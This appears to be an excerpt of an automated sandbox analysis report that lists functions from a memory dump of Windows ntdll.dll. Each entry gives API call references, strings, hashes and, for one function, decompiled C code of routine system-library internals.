0x6b5d3f66
0x6b5d3f66
0x6b5d3f66
0x6b5d3f72

APIs

RtlpEnsureBufferSize.1105(00000000,?,-00000002,6B620890,0000001C,6B5AD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?), ref: 6B5D3FB4
memmove.1105(00000000,00000000,00000000,00000000,?,-00000002,6B620890,0000001C,6B5AD659,00020000,00000000,?,?,00000003,00000000,00000002), ref: 6B5D3FD9
RtlEnterCriticalSection.1105(6B6379A0,6B620890,0000001C,6B5AD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040,?,00000000,?), ref: 6B5D401B
RtlExpandEnvironmentStrings_U.1105(00000000,?,00000000,?,6B620890,0000001C,6B5AD659,00020000,00000000,?,?,00000003,00000000,00000002,?,00000040), ref: 6B5D402D
RtlpEnsureBufferSize.1105(00000000,?,?,00000000,?,00000000,?,6B620890,0000001C,6B5AD659,00020000,00000000,?,?,00000003,00000000), ref: 6B5D4074
RtlExpandEnvironmentStrings_U.1105(00000000,?,?,00000000,00000000,?,?,00000000,?,00000000,?,6B620890,0000001C,6B5AD659,00020000,00000000), ref: 6B5D40A0

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: BufferEnsureEnvironmentExpandRtlpSizeStrings_$CriticalEnterSectionmemmove
String ID:
API String ID: 1067925741-0
Opcode ID: 1fec2e47e6687f1df58d401b671090742915b0218930797f149ede3b7fc812d9
Instruction ID: 4ba6abe6ff70e8d9e23dd3a5e38d1fc36518871f9acd7d87b8e2a70d59e6c4f2
Opcode Fuzzy Hash: 1fec2e47e6687f1df58d401b671090742915b0218930797f149ede3b7fc812d9
Instruction Fuzzy Hash: BC41B371D00626DAF721DF6C8440BEEB7B4AF48B04F114AA6E814EB244E37C9C51CBE9

Uniqueness

Uniqueness Score: -1.00%

Function 6B545320, Relevance: 9.1, APIs: 6, Instructions: 91
timeCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6B545320(void* __ecx, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				signed int _v20;
				signed int _v21;
				signed int _v25;
				signed int _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t42;
				signed int _t48;
				signed int _t59;
				void* _t63;
				intOrPtr _t64;
				signed int _t65;
				intOrPtr* _t66;
				intOrPtr* _t70;
				signed int _t72;
				void* _t74;
				intOrPtr* _t75;
				void* _t76;
				signed int _t78;
				void* _t79;
				signed int _t80;
				void* _t85;

				_t82 = (_t80 & 0xfffffff8) - 0x14;
				_v8 =  *0x6b63d360 ^ (_t80 & 0xfffffff8) - 0x00000014;
				_t78 = _a4;
				_push(_t75);
				if(_t78 == 0 || _t78 >= 0x80) {
					L17:
					_t42 = 0xc000000d;
					goto L13;
				} else {
					_t64 =  *((intOrPtr*)( *[fs:0x18] + 0x30));
					_v12 = _t64;
					E6B562280( *[fs:0x18], 0x6b6385f0);
					_t70 =  *((intOrPtr*)(_t64 + 0x218));
					_t85 = _t78 -  *_t70;
					if(_t85 >= 0) {
						_t65 = 0;
						L11:
						E6B55FFB0(_t65, _t75, 0x6b6385f0);
						if(_t65 == 0) {
							goto L17;
						}
						_t42 = 0;
						L13:
						_pop(_t76);
						_pop(_t79);
						_pop(_t63);
						return E6B58B640(_t42, _t63, _v8 ^ _t82, _t74, _t76, _t79);
					}
					asm("bt [eax], esi");
					_t48 =  *(_t70 + 4) & 0xffffff00 | _t85 > 0x00000000;
					_v21 = _t48;
					if(_t48 == 0) {
						_t65 = _t48;
						goto L11;
					}
					E6B57A990(_t70, _t78, 1);
					_v32 =  *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8);
					E6B562280( &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]),  &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]));
					_t72 = _t64 + 0x210;
					_t75 =  *_t72;
					_v32 = _t72;
					if(_t75 == _t72) {
						L10:
						 *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8) =  *( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8) & 0x00000000;
						E6B55FFB0(_t64, _t75,  &(( *((intOrPtr*)(_t64 + 0x20c)) + _t78 * 8)[1]));
						_t65 = _v25;
						goto L11;
					}
					_t66 = _v20;
					do {
						if(_t66 != 0) {
							_t59 =  *(_t75 + 8 + _t78 * 4);
							if(_t59 != 0) {
								 *0x6b63b1e0(_t59);
								 *_t66();
								_t72 = _v20;
							}
						}
						 *(_t75 + 8 + _t78 * 4) =  *(_t75 + 8 + _t78 * 4) & 0x00000000;
						_t75 =  *_t75;
					} while (_t75 != _t72);
					_t64 = _v12;
					goto L10;
				}
			}

0x6b545328
0x6b545332
0x6b545338
0x6b54533b
0x6b54533e
0x6b545438
0x6b545438
0x00000000
0x6b545350
0x6b54535b
0x6b54535e
0x6b545362
0x6b545367
0x6b54536d
0x6b54536f
0x6b545430
0x6b5453fb
0x6b545400
0x6b545407
0x00000000
0x00000000
0x6b545409
0x6b54540b
0x6b54540f
0x6b545410
0x6b545411
0x6b54541c
0x6b54541c
0x6b545378
0x6b54537b
0x6b54537e
0x6b545384
0x6b545434
0x00000000
0x6b545434
0x6b54538e
0x6b5453a2
0x6b5453a7
0x6b5453ac
0x6b5453b2
0x6b5453b4
0x6b5453ba
0x6b5453db
0x6b5453e1
0x6b5453f2
0x6b5453f7
0x00000000
0x6b5453f7
0x6b5453bc
0x6b5453c0
0x6b5453c2
0x6b5453c4
0x6b5453ca
0x6b545422
0x6b545428
0x6b54542a
0x6b54542a
0x6b5453ca
0x6b5453cc
0x6b5453d1
0x6b5453d3
0x6b5453d7
0x00000000
0x6b5453d7

APIs

RtlAcquireSRWLockExclusive.1105(6B6385F0), ref: 6B545362
RtlClearBits.1105(?,?,00000001,6B6385F0), ref: 6B54538E
RtlAcquireSRWLockExclusive.1105(?,?,?,00000001,6B6385F0), ref: 6B5453A7

Part of subcall function 6B562280: RtlDllShutdownInProgress.1105(00000000), ref: 6B5622BA
Part of subcall function 6B562280: ZwWaitForAlertByThreadId.1105(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6B5623A3

RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000001,6B6385F0), ref: 6B5453F2
RtlReleaseSRWLockExclusive.1105(6B6385F0,6B6385F0), ref: 6B545400
RtlDebugPrintTimes.1105(?,?,?,?,00000001,6B6385F0), ref: 6B545422

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireRelease$AlertBitsClearDebugPrintProgressShutdownThreadTimesWait
String ID:
API String ID: 3225401293-0
Opcode ID: 5a17791fdfd1d65bd128256c2888cacc277f162b8321905eaa371a97a72e5ef1
Instruction ID: 44020ca782d20a90caf20a2e8dc3ac4f5052f14305ad65cc8f5976803a50a56e
Opcode Fuzzy Hash: 5a17791fdfd1d65bd128256c2888cacc277f162b8321905eaa371a97a72e5ef1
Instruction Fuzzy Hash: D73100726053019FE710DF28C4C2ADEB3A4AF81714F4508ADEA518F256DB39E805CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B57FE34, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108libraryCOMMON

Download Yara Rule

APIs

RtlAppendUnicodeToString.1105(02BE0000,?), ref: 6B57FEA6

Part of subcall function 6B55A990: memmove.1105(00000000,00000050,00000052,?,?,00000000,?,?,6B55A448,?,\REGISTRY\USER\,?,02000000,?,?,000000FA), ref: 6B55A9E2

LdrStandardizeSystemPath.1105(02BE0000,02BE0000,?), ref: 6B57FEB4

Part of subcall function 6B55A8C0: RtlGetNtSystemRoot.1105(?,?), ref: 6B55A8F0
Part of subcall function 6B55A8C0: RtlAppendUnicodeToString.1105(02140000,00000000,?,?), ref: 6B55A8FD
Part of subcall function 6B55A8C0: RtlAppendUnicodeToString.1105(02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B55A915
Part of subcall function 6B55A8C0: RtlPrefixUnicodeString.1105(02140000,?,00000001,02140000,\SysWOW64,02140000,00000000,?,?), ref: 6B55A924

Part of subcall function 6B57FF2F: RtlGetNtSystemRoot.1105(?,?,?,?,?,6B57FEC6,02BE0000,02BE0000,?), ref: 6B57FF3C
Part of subcall function 6B57FF2F: _wcsnicmp.1105(?,00000000,-00000002,?,?,?,?,?,6B57FEC6,02BE0000,02BE0000,?), ref: 6B57FF6E

Strings

\Windows, xrefs: 6B5BC11D

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$AppendSystem$Root$PathPrefixStandardize_wcsnicmpmemmove
String ID: \Windows
API String ID: 1616562977-3600636569
Opcode ID: cb0bfdbfd0cf51ea90a806a7de923c81beac7cdd114f5ae411cf3473f9102854
Instruction ID: fb64df123111bcfd3b31bfbb8dc960d5e9c10ae0ab00aad2e69a541db2a869da
Opcode Fuzzy Hash: cb0bfdbfd0cf51ea90a806a7de923c81beac7cdd114f5ae411cf3473f9102854
Instruction Fuzzy Hash: 6B316032A083559FE720DF28D45198BB7E5AFC9314F11496AE8A897214EB38D9058BD2

Uniqueness

Uniqueness Score: -1.00%

Function 6B550225, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 6B550315: memcpy.1105(6B637C54,?,00000040,00000000,00000000,000000FF,?,?,6B550254,6B61F868,00000038,6B54F563), ref: 6B550371
Part of subcall function 6B550315: memcpy.1105(?,?,?,?,0000FFFF,?,00000000,00000000,000000FF,?,?,6B550254,6B61F868,00000038,6B54F563), ref: 6B55042B

RtlActivateActivationContextUnsafeFast.1105 ref: 6B5502BA

Strings

LdrpProcessDetachNode, xrefs: 6B5A61D7
Uninitializing DLL "%wZ" (Init routine: %p), xrefs: 6B5A61D0
minkernel\ntdll\ldrsnap.c, xrefs: 6B5A61E1
$, xrefs: 6B55029C

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: memcpy$ActivateActivationContextFastUnsafe
String ID: $$LdrpProcessDetachNode$Uninitializing DLL "%wZ" (Init routine: %p)$minkernel\ntdll\ldrsnap.c
API String ID: 2422247448-1066784428
Opcode ID: f8609e87d08db4fb3f2147a1287e0fd3fb8549075ea8768c79bba8f1d9170c20
Instruction ID: e114716e13edf411a237998ee9423a46d52971ca684a3e20b3f357f152055864
Opcode Fuzzy Hash: f8609e87d08db4fb3f2147a1287e0fd3fb8549075ea8768c79bba8f1d9170c20
Instruction Fuzzy Hash: 78318C72D51308DBEF02CF68C985ADEBBB4BF49309F14809BD400AB284D779A956CB54

Uniqueness

Uniqueness Score: -1.00%

Function 6B5F6243, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

RtlpGetUserOrMachineUILanguage4NLS.1105(00000001,?,?,?), ref: 6B5F6275

Part of subcall function 6B5FCF70: RtlInitUnicodeString.1105(?,Control Panel\Desktop,?,?,?), ref: 6B5FCFC1
Part of subcall function 6B5FCF70: ZwOpenKey.1105(00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached,?,?,?), ref: 6B5FD0B8
Part of subcall function 6B5FCF70: RtlInitUnicodeString.1105(?,PreferredUILanguages,00000007,00020019,?,?,\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings,?,?,?,00000007,00020019,?,?,Control Panel\Desktop\MuiCached), ref: 6B5FD0CD
Part of subcall function 6B5FCF70: ZwClose.1105(?,?,?,?), ref: 6B5FD139
Part of subcall function 6B5FCF70: ZwClose.1105(00000000,?,?,?), ref: 6B5FD14E

RtlInitUnicodeString.1105(?,?,00000001,?,?,?), ref: 6B5F62A4
RtlInitUnicodeString.1105(?,?,?,?,00000001,?,?,?), ref: 6B5F62B7
RtlCompareUnicodeString.1105(?,?,00000001,?,?,?,?,00000001,?,?,?), ref: 6B5F62CC

Part of subcall function 6B559660: RtlCompareUnicodeStrings.1105(?,?,00000001,?,?,?,6B5A3065,?,?,00000001,?,?,00000000,?,00000002,?), ref: 6B559680

Strings

U, xrefs: 6B5F625F

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$String$Init$CloseCompare$Language4MachineOpenRtlpStringsUser
String ID: U
API String ID: 3637150059-3372436214
Opcode ID: 7f722151b2374bd95e7e86e81356e20ea8d28900912659912a7c231dc2d323f3
Instruction ID: f71387b6ce7c903589a1786bbc96fedfaf9dc05026a94560be9d7f60472a8b28
Opcode Fuzzy Hash: 7f722151b2374bd95e7e86e81356e20ea8d28900912659912a7c231dc2d323f3
Instruction Fuzzy Hash: 3D112A7190122C9AFB60DB618C45FDAB3ACAB45304F4045EAE909D7148EB799E89CF62

Uniqueness

Uniqueness Score: -1.00%

Function 6B5DFDDA, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT(?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6B59FA1C,00000000,00000004,?,00000000,?,00000000), ref: 6B5DFDFA
DbgPrintEx.1105(00000065,00000001,RTL: Enter CriticalSection Timeout (%I64u secs) %d,00000000,?,?,00000000,FF676980,000000FF,00000000,00000000,?,?,?,6B59FA1C,00000000), ref: 6B5DFE0A
DbgPrintEx.1105(00000065,00000000,RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u,?,?,00000002,?,00000000,00000004,?,00000000,?,00000000,00000000), ref: 6B5DFE34

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 6B5DFE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 6B5DFE01

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 545360701-3903918235
Opcode ID: 09d87aca1fcfcf8537442c46fe9038de650ffcb57175016a033ddff5067b4906
Instruction ID: a7e8df589907745394ee0c119ac757df2574d7affe341940bbd328019748f0e4
Opcode Fuzzy Hash: 09d87aca1fcfcf8537442c46fe9038de650ffcb57175016a033ddff5067b4906
Instruction Fuzzy Hash: 0BF0F632100611BFF6200A59DC02FA3BB5AEB84770F244318F728561D1EA66FC3086F4

Uniqueness

Uniqueness Score: -1.00%

Function 6B563690, Relevance: 7.9, APIs: 5, Instructions: 359COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f464a9c6b5734288c9460e7b5a009eb985b03e67a37f368d5160d2e25d681bd9
Instruction ID: 2210cd3ef1868e4f58e7910bd9264f3dcfec28bbb2bbdb17e991785cfdd6319e
Opcode Fuzzy Hash: f464a9c6b5734288c9460e7b5a009eb985b03e67a37f368d5160d2e25d681bd9
Instruction Fuzzy Hash: D4D19175D442298BEB24EF98C0402EEB7B2FF44750F95405ADC91BB3D4E779A982CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B541190, Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

RtlIpv4StringToAddressW.1105(00000000,?,?,00000000), ref: 6B5411B9

Part of subcall function 6B5411E0: iswctype.1105(0000000A,00000004), ref: 6B541244

iswctype.1105(00000000,00000004,00000000,?,?,00000000), ref: 6B59EB6B

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: iswctype$AddressIpv4String
String ID:
API String ID: 1627499474-0
Opcode ID: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction ID: a875ff0657c03965ed815face769fad8afcae24ab0f21b51a4c702b9c659d50f
Opcode Fuzzy Hash: fb804841babf00360943d9f994b3b33d5c73eef6988bae1e53c25cbdaf3f4e98
Instruction Fuzzy Hash: 31414232A002259AF728DB64EC82BFA77F5FB05764F20456AE841DB2C0F73CDA55C290

Uniqueness

Uniqueness Score: -1.00%

Function 6B57F296, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

Part of subcall function 6B57F2E0: RtlAcquireSRWLockExclusive.1105(6B6386AC,00000000,00000000,00000000,0000000C,?,6B57F2BF,00000000,00000000,?), ref: 6B57F2F1
Part of subcall function 6B57F2E0: RtlReleaseSRWLockExclusive.1105(6B6386AC,?,?,6B6386AC,00000000,00000000,00000000,0000000C,?,6B57F2BF,00000000,00000000,?), ref: 6B57F31B

RtlAcquireSRWLockShared.1105(0000001C,00000000,00000000,?), ref: 6B5BBB5B
RtlReleaseSRWLockShared.1105(0000001C,0000001C,00000000,00000000,?), ref: 6B5BBBE9

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Lock$AcquireExclusiveReleaseShared
String ID:
API String ID: 3474408661-0
Opcode ID: ffa6e54335dcbf74b607c4dbd263e91abbe48eb02bc100cd2dc97e86466eede2
Instruction ID: cd6094dbfa9df31ee2ccd5ab8e1265d543f0b40a1a7dc837fdc96f21d21f4408
Opcode Fuzzy Hash: ffa6e54335dcbf74b607c4dbd263e91abbe48eb02bc100cd2dc97e86466eede2
Instruction Fuzzy Hash: 9831F875E002148BEB20EF28CC91BE9B774FF81708F1084E9D949AB246DB795E46CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6B5D40D2, Relevance: 7.6, APIs: 5, Instructions: 103COMMON

Download Yara Rule

APIs

RtlComputePrivatizedDllName_U.1105(?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6B5D4104
RtlFreeUnicodeString.1105(?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6B5D41CF
RtlFreeUnicodeString.1105(?,?,?,?,?,00000000,00000000,?,?,?,?,00000001), ref: 6B5D41D8

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeStringUnicode$ComputeName_Privatized
String ID:
API String ID: 3871896386-0
Opcode ID: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction ID: 1625ab30d263434219299661b41d6757e99bd84a7d14b9ba312ba9c9b74eeb84
Opcode Fuzzy Hash: 7f0ccbea32786f58c51fe4cf487af8eef5749277614f3754637beb9fa8debb0f
Instruction Fuzzy Hash: 0E31A671900219ABEB10DFE8C882BEEF3B8EF55704F0146AAD854E7140F739D955CB95

Uniqueness

Uniqueness Score: -1.00%

Function 6B56C4A0, Relevance: 7.6, APIs: 5, Instructions: 91timeCOMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,?,?,?,6B60C9F8,000000FE), ref: 6B56C4E9
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?), ref: 6B56C52D
TpIsTimerSet.1105(?,?,?,00000000,?,00000000,?), ref: 6B56C550
RtlReleaseSRWLockExclusive.1105(?,?,?,00000000,?,00000000,?), ref: 6B5B2E52
RtlDebugPrintTimes.1105(?,?,?,?,00000000,?,00000000,?), ref: 6B5B2E69

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireDebugPrintTimerTimes
String ID:
API String ID: 1747049749-0
Opcode ID: 10ee2db07bfc44d37150ce4a709474cdae3132a2d4bde7b66b03c42bde86be34
Instruction ID: 6cb4befb1e30ab231807717ba40f6074b403243850681dec7a015d5ba22f433a
Opcode Fuzzy Hash: 10ee2db07bfc44d37150ce4a709474cdae3132a2d4bde7b66b03c42bde86be34
Instruction Fuzzy Hash: 9D21F231640208ABEF00CF358C51AEF7BA59F967D4F0488A9EC555B264FB399D048B90

Uniqueness

Uniqueness Score: -1.00%

Function 6B550541, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170COMMON

Download Yara Rule

APIs

RtlImageNtHeaderEx.1105(00000003,?,00000000,00000000,?,000000AB,?,?,?,?,6B5504FB,6B61F890,0000001C,6B5503A8,?,00000000), ref: 6B550569
RtlInitUnicodeString.1105(?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010,?,00000010,?,00000010), ref: 6B5506E7
RtlCompareUnicodeString.1105(?,6B61F890,00000000,6B5503A8,?,VS_VERSION_INFO,00000020,0000005C,0000005C,00000010,00000000,00000010,?,00000001,?,00000010), ref: 6B550717

Part of subcall function 6B559660: RtlCompareUnicodeStrings.1105(?,?,00000001,?,?,?,6B5A3065,?,?,00000001,?,?,00000000,?,00000002,?), ref: 6B559680

Strings

VS_VERSION_INFO, xrefs: 6B5506DE

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: Unicode$CompareString$HeaderImageInitStrings
String ID: VS_VERSION_INFO
API String ID: 1271209012-1537192461
Opcode ID: b8d481e53b5158af6b7192414443f9ea837799dbd31592a3c7c0fc772ded6693
Instruction ID: e1f945b602bc308fc88cadaad97e40855edb2e840296519b4ca0fe45c4698edc
Opcode Fuzzy Hash: b8d481e53b5158af6b7192414443f9ea837799dbd31592a3c7c0fc772ded6693
Instruction Fuzzy Hash: C751E232A202169AFB10CBB4CC51BEBB7BCEF54649F18456B9964DB1C4EBB4D811CF50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5543C0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 148COMMON

Download Yara Rule

APIs

memcpy.1105(?,00000000,00000000,00000000,00000000,00000001), ref: 6B554424
_wcsicmp.1105(MUI,?,00000000,00000000,00000001), ref: 6B5544A9
RtlLocaleNameToLcid.1105(?,?,00000003,00000000,00000000,00000001), ref: 6B554532

Strings

MUI, xrefs: 6B5544A8

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: LcidLocaleName_wcsicmpmemcpy
String ID: MUI
API String ID: 2548447388-1339004836
Opcode ID: 9c0365aa9c6373e85fcc72b6a4d82ff4dcec64719321d999762aa8f02f4fea24
Instruction ID: 34ac973c04bb7ec0595fb75f66e42fa6252cf55e775af93d9dbabd6ad441e412
Opcode Fuzzy Hash: 9c0365aa9c6373e85fcc72b6a4d82ff4dcec64719321d999762aa8f02f4fea24
Instruction Fuzzy Hash: BF411A3790012587FB14DF69E890AE6B3B5FB80712F5081ABDC1987148EB39ED75C791

Uniqueness

Uniqueness Score: -1.00%

Function 6B541390, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

Part of subcall function 6B541783: RtlAcquireSRWLockExclusive.1105(?,6B5413C0,6B61F288,00000044), ref: 6B541793

RtlReleaseSRWLockExclusive.1105(?,6B61F288,00000044), ref: 6B541462

Part of subcall function 6B541986: RtlIsValidIndexHandle.1105(?,?,00000000,?,?,6B5413F2,6B61F288,00000044), ref: 6B541995

memcpy.1105(?,0000000E,?,6B61F288,00000044), ref: 6B54143D

Strings

#%u, xrefs: 6B59EE91

Memory Dump Source

Source File: 0000001D.00000002.461326417.000000006B521000.00000020.00020000.sdmp, Offset: 6B520000, based on PE: true

Associated: 0000001D.00000002.461302117.000000006B520000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.467761951.000000006B635000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.468008450.000000006B63B000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.468081137.000000006B63F000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$AcquireHandleIndexReleaseValidmemcpy
String ID: #%u
API String ID: 1422088098-232158463
Opcode ID: bbb8f7bdcd784169012baf9c182103c66907625d225cddf4ec3d46ab556f6f56
Instruction ID: 04f63bbcb0a84d711e5a648301e06db0fb2dea5a474e239223b4c6e54853097a
Opcode Fuzzy Hash: bbb8f7bdcd784169012baf9c182103c66907625d225cddf4ec3d46ab556f6f56
Instruction Fuzzy Hash: 5841C471A14265CBFB10EF98D8406DEBBB6BF89704F154899E814AB340EB7DDC46CB50

Uniqueness

Uniqueness Score: -1.00%

Function 6B5417B0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

RtlAcquireSRWLockExclusive.1105(?,6B61F2C8,00000018), ref: 6B5417D7
RtlGetIntegerAtom.1105(?,?,?,6B61F2C8,00000018), ref: 6B5417F3

Part of subcall function 6B54187D: _wcsicmp.1105(0000001C,?,?,?,00000000,?,?,?,?), ref: 6B541921

RtlReleaseSRWLockExclusive.1105(?,?,?,?,6B61F2C8,00000018), ref: 6B54185D

